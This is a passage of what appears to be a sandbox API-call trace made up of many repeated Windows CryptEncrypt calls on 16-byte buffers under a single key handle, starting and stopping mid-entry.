pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.005] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.006] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.007] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.008] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 